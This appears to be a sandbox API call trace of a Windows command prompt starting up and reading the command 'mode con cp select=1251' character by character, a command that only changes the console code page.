	[0169.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0169.154] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xb1e76ff6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff6c8*=0x26, lpOverlapped=0x0) returned 1
	[0169.154] _vsnwprintf (in: _Buffer=0x7ff633187f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb1e76ff798 | out: _Buffer="\r\n") returned 2
	[0169.154] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.154] GetFileType (hFile=0x254) returned 0x3
	[0169.154] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0169.155] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb1e76ff768, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff768*=0x2, lpOverlapped=0x0) returned 1
	[0169.155] _vsnwprintf (in: _Buffer=0x7ff633187f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xb1e76ff798 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0169.155] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.155] GetFileType (hFile=0x254) returned 0x3
	[0169.155] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0169.155] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xb1e76ff768, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff768*=0x34, lpOverlapped=0x0) returned 1
	[0169.155] _vsnwprintf (in: _Buffer=0x7ff633187f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb1e76ff798 | out: _Buffer="\r\n") returned 2
	[0169.155] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.155] GetFileType (hFile=0x254) returned 0x3
	[0169.155] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0169.155] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb1e76ff768, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff768*=0x2, lpOverlapped=0x0) returned 1
	[0169.156] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffba9650000
	[0169.156] GetProcAddress (hModule=0x7ffba9650000, lpProcName="CopyFileExW") returned 0x7ffba966e830
	[0169.156] GetProcAddress (hModule=0x7ffba9650000, lpProcName="IsDebuggerPresent") returned 0x7ffba966e300
	[0169.156] GetProcAddress (hModule=0x7ffba9650000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffba6860a40
	[0169.156] ??_V@YAXPEAX@Z () returned 0x1
	[0169.157] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.157] GetFileType (hFile=0x248) returned 0x3
	[0169.157] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0169.157] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xb1e76ff5d8 | out: TokenHandle=0xb1e76ff5d8*=0x0) returned 0xc000007c
	[0169.157] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xb1e76ff5d8 | out: TokenHandle=0xb1e76ff5d8*=0x94) returned 0x0
	[0169.157] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xb1e76ff588, TokenInformationLength=0x4, ReturnLength=0xb1e76ff590 | out: TokenInformation=0xb1e76ff588, ReturnLength=0xb1e76ff590) returned 0x0
	[0169.158] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xb1e76ff590, TokenInformationLength=0x4, ReturnLength=0xb1e76ff588 | out: TokenInformation=0xb1e76ff590, ReturnLength=0xb1e76ff588) returned 0x0
	[0169.158] NtClose (Handle=0x94) returned 0x0
	[0169.159] _vsnwprintf (in: _Buffer=0x7ff633187f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb1e76ff418 | out: _Buffer="\r\n") returned 2
	[0169.159] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.159] GetFileType (hFile=0x254) returned 0x3
	[0169.159] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0169.160] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb1e76ff3e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff3e8*=0x2, lpOverlapped=0x0) returned 1
	[0169.160] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0169.160] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2606b0e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0169.160] malloc (_Size=0x107ce) returned 0x2606b0f0060
	[0169.160] _vsnwprintf (in: _Buffer=0x2606b0f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xb1e76ff428 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0169.160] _vsnwprintf (in: _Buffer=0x2606b0f0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xb1e76ff428 | out: _Buffer=">") returned 1
	[0169.160] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.160] GetFileType (hFile=0x254) returned 0x3
	[0169.160] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0169.160] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xb1e76ff418, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff418*=0x14, lpOverlapped=0x0) returned 1
	[0169.161] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.161] GetFileType (hFile=0x248) returned 0x3
	[0169.161] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.161] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.161] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0169.161] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.161] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.161] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0169.161] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.161] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.161] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0169.161] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.161] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.162] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0169.162] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.162] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.162] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0169.162] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.162] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.162] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0169.162] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.162] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.162] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0169.162] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.162] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.162] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0169.162] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.162] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.162] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0169.162] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0169.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0169.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0169.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0169.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0169.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0169.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0169.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0169.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0169.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0169.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.385] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.385] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0169.385] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.385] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.385] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0169.385] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.385] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.385] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0169.385] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.385] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.385] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0169.385] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.385] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.386] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0169.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0169.386] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.386] GetFileType (hFile=0x248) returned 0x3
	[0169.386] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.386] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.386] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.386] GetFileType (hFile=0x254) returned 0x3
	[0169.386] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0169.386] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xb1e76ff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff718*=0x18, lpOverlapped=0x0) returned 1
	[0169.386] GetProcessHeap () returned 0x2606afe0000
	[0169.387] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x4012) returned 0x2606afe8e90
	[0169.387] GetProcessHeap () returned 0x2606afe0000
	[0169.387] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8e90) returned 1
	[0169.387] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0169.387] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0169.387] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0169.387] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0169.387] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0169.387] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0169.387] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0169.387] GetProcessHeap () returned 0x2606afe0000
	[0169.387] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb0) returned 0x2606afe77c0
	[0169.387] GetProcessHeap () returned 0x2606afe0000
